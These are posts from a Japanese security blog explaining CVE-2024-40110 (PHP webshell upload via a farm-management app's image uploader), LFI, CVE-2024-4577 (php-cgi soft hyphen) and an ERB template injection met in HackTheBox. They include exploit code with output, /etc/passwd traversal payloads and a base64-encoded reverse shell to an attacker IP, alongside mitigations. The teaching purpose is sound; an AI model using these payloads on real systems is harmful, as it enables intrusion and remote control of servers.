kのサイバーシティ

サイバー空間を自由気ままに解説するブログ

【CVE-2024-40110】オープンソースの養鶏場管理システムの画像アップローダーに関するCVE-2024-40110の脆弱性

CVE-2024-40110ついて解説します。

オープンソースの養鶏場管理システムの画像アップローダーを利用した脆弱性になっています。

 

脆弱性を試してみる

さっそく最初にハッキングしていきます!

脆弱性のあるページです。製品情報を入力するページですね。

右下には画像アップロードする項目があります。

product.phpの画像アップロード機能の脆弱性を突きます。

exploit-dbからコードを拝借します。

https://www.exploit-db.com/exploits/52053

以下抜粋してコード解説します。

 

  1. upload_url = f"{target}/farm/product.php"#postリクエストを行うリンク
  2.  
  3.  
  4.  
  5.  
  6. #投稿する文言
  7. payload = {
  8.  'category''CHICKEN',
  9.  'product''rce',
  10.  'price''100',
  11.  'save'''
  12.  }
  13.  
  14.  
  15.  
  16.  
  17. # 実行したいコマンド作成
  18. command = "hostname"
  19. data = f"<?php system('{command}');?>"
  20.  
  21.  
  22.  
  23.  
  24. # 悪意のあるファイルデータを作成
  25. files = {
  26.  'productimage': ('web-backdoor.php', data, 'application/x-php')
  27. }
  28.  
  29. try:
  30.  print("Sending POST request to:", upload_url)
  31.  
  32.  
  33. response = requests.post(upload_url, files=files, data=payload,verify=False)#リクエスト送信

```

そして以下はproduct.phpのコード(抜粋)です。

  1. <?php
  2.  $category=$_POST['category'];
  3.  $product=$_POST['product'];
  4.  $price=$_POST['price'];
  5.  $image=$_FILES["productimage"]["name"];
  6.  move_uploaded_file($_FILES["productimage"]["tmp_name"],"assets/img/productimages/".$_FILES["productimage"]["name"]);

move_uploaded_fileが脆弱性ポイントです!

 

move_uploaded_fileは名前の通り、ファイルを移動させる関数になります。

POSTで送られたファイルは$_FILES["productimage"]["tmp_name"]に格納されているパスに一時的に保存されています。

そこでmove_uploaded_fileを使い、本来保存させたい場所に移動させます。

上記ファイルだと「assets/img/productimages/」にアップロードしたファイル名(web-backdoor.php)で保存させています。

つまり、、、ファイルのチェックをされていないので、phpファイルを置くことができ、それを叩くとコードが実行されてしまうわけです。

  1. #ペイロードを置いたリンクを叩く
  2.  
  3. shell_url = f"{target}/farm/assets/img/productimages/web-backdoor.php"
  4. shell_response = requests.get(shell_url, verify=False)
  5.  

解説が長くなりましたが、実際に実行していきましょう!

 

  1. └──? $python3 payload.py?
  2. Sending POST request to: http://172.26.16.100/farm/product.php
  3. <Response [200]>
  4.  
  5. Response status code: 200
  6. Shell has been uploaded successfully: http://172.26.16.100/farm/assets/img/productimages/web-backdoor.php
  7. Command output: parrot

 

hostnameコマンドを叩いているので、その結果がCommand output:parrotで返って消えいるので成功したことがわかります。

 

 

LFIについてざっくり解説

ざっくりしていってね

LFIとは

LFIとはローカルファイルインクルージョンの略で、リクエストパラメータにファイルパス(../../../../etc/passwdとか)を送信すると、本来見えてはいけないファイルが読み取れてしまう脆弱性です。

 

http://<攻撃対象ドメイン>/index.php?file=../../../../etc/passwd

 

なぜ起きる?

主にphp前提で話しますが、リクエストパラメータをファイルを読み込む関数に入れているのが原因で起こります。

 

例えば

include($_GET["file"]);

というphpがあるとします。

先ほどの

http://<攻撃対象ドメイン>/index.php?file=../../../../etc/passwd

を送信しますと関数は以下のように実行されます。

include("../../../../etc/passwd");

すると、「../../../../etc/passwd」ファイルが指定されてしまい、取得されてしまうわけです。

 

攻撃例

1,基本

http://<攻撃対象ドメイン>/index.php?file=../../../../etc/passwd

 

2,../でフィルタリングされている場合

http://<攻撃対象ドメイン>/index.php?file=....//....//....//....//etc/passwd

 

対策

1,そもそもファイル指定させる使用をやめる。

2「allow_url_include = Off 」と設定する。

 

 

おまけ

include以外にrequire、include_once、require_onceなどの関数を使用しているとき、Web アプリケーションが脆弱になることがよくあります。

 

 

 

【CVE-2024-4577】php-cgiとソフトハイフンで起こる脆弱性について

どうもー 最近CGI環境のphp脆弱性が話題になっているのでゆるくまとめます。

 

脆弱な環境例

windows,Apache,php,XAMPP

概要

windowsが日本語もしくは中国語(繁体字簡体字)のロケールで実行されている場合php脆弱性を使い、任意のコードが実行できてしまう脆弱性です。

 

ざっと解説しますと。。。

Apacheでは通常ハイフンをエスケープしますが、、、、

なんと!ソフトハイフンはエスケープしないんです!!

・・・・・

何言ってんだって感じだと思いますが、ハイフンとソフトハイフンをUnicodeで表すと。。

 

ハイフン:0x2D

ソフトハイフン:0xAD

 

になります。

ハイフン(0x2D)はApacheでしっかりガードしてくれますが、ソフトハイフン(0xAD)は番号が違うため、通ってしまいます。そして、phpはソフトハイフンを通常のハイフンと認識してしまうため、ハイフンで始まるコマンドラインの引数をphpに送り込むことができます。

 

以下に簡単にまとめると、、、

悪意のあるコード⇒Apache「なんかハイフンに似てるやついるけど大丈夫やろ!ヨシ!」⇒php「なんかきた!実行すればええやろ!」⇒完

 

検証

では実際に検証していきます。

※運営しているサービスの脆弱性を確かめるためにご利用ください。

 

http://localhost/index.phpで普通にindex.phpを表示させます。

index.phpの後ろに「?%ADs」をつけます。

そしてEnterを押すと、index.phpの中身が表示されます。

以上です。すごく簡単です。

 

%ADは先ほど述べたようにソフトハイフンです。sはソースコードを表示するオプションです。

つまりコマンドラインで表すと以下のようになります。

php.exe -s index.php

対処法

もっとも有効な対処法は最新のPHPバージョン(8.3.8, 8.2.20, 8.1.29)に上げることです。

しかし、「それができれば苦労しねぇよ、、」ってシステムもあると思います。(化石システムとか。。。。)

そういうシステムには「.htaccess」に以下の記述をして下さい。


        RewriteEngine On
        RewriteCond %{QUERY_STRING} ^%ad [NC]
        RewriteRule .? - [F,L]
    

上記追加後に実行してみると、

403エラーで返ってきます。

しかし、これは一時的な処置です。システム全体をアップデートするなりなんなりと改修が必要になるかと思います。

SSTI(サーバーサイド・テンプレートインジェクション)に遭遇した時のメモ

HackTheBoxでSSTI脆弱性をつく問題があったので、勉強がてら記事にしました。

SSTIとは

サーバーサイド・テンプレートインジェクション(Server-Side Template Injection)の略です。

テンプレートエンジンを使ったサイトで不正な入力情報を入れることで、サーバでコマンドを実行させることができます。有名どころだとJinjaとかのことです(あまり知らないけど、、、)

laravel使ったことのある人だとindex.blead.phpで処理かけるやつを想像していただければと思います。

 

今回私はERB(Ruby)の脆弱性をつく問題だったので、ERBの場合の例を記載しておきます。

まず前提としてERBファイルではhtmlの中に「<%=【実行したいrubyの処理】 %>」で

rudyのコードを書き込めます。

つまり、rubyのsystem()を中に記述することで、サーバをいじることができるのです!

例えば、、、

<%= system(ls) %>

とかしちゃうと、ファイルが見れるわけです。

 

では実際リバースシェルを得る例を書いていきます(悪用禁止)

<%= system(sh -i >& /dev/tcp/<ip>/<port> 0>&1) %>

ですが、URLで使えない文字が含まれているため、base64エンコードしてコマンドを送ってあげて、サーバ側でデコードしてあげて実行してあげましょう!!

以下実際に送ったリクエストの例です

 

http://〇×.com/?parameters=aaa%0A<%25%3d+system("echo+c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTMwLzc3NzcgMD4mMQ==|base64+-d|bash")+%25>

 

あとがBurpsuiteなり使ってサーバに送り付けちゃいましょう!!

 

以上ガバガバ解説でした。

 

以下参考資料です。

book.hacktricks.xyz